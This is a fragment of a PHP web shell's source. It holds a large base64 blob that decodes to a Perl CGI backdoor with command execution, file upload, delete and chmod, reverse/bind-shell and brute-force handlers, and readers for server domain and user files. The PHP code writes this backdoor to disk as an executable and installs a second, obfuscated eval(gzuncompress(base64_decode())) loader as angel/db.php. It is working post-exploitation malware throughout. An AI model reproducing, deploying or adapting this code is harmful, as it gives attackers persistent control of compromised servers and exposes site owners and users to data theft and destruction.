JCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';
1767$file = fopen("telnet.cok" ,"w+");
1768$write = fwrite ($file ,base64_decode($cgi2012));
1769fclose($file);
1770chmod("telnet.cok",0755);
1771echo "<iframe src=telnet/telnet.cok width=96% height=76% frameborder=0></iframe></div>";
1772}
1773
1774
1775# x=mysql2
1776elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql2')) {
1777
1778echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL</span> <span class='b8'>MANAGER ]:=O</span></b></nobr><br/><br/> ";
1779echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='angel/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
1780if (!is_dir('angel')){
1781$mk = @mkdir('angel',0777);
1782@fwrite($f , $c);
1783$f2 =@fopen('angel/db.php','w');
1784$sml_db =
1785"PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRz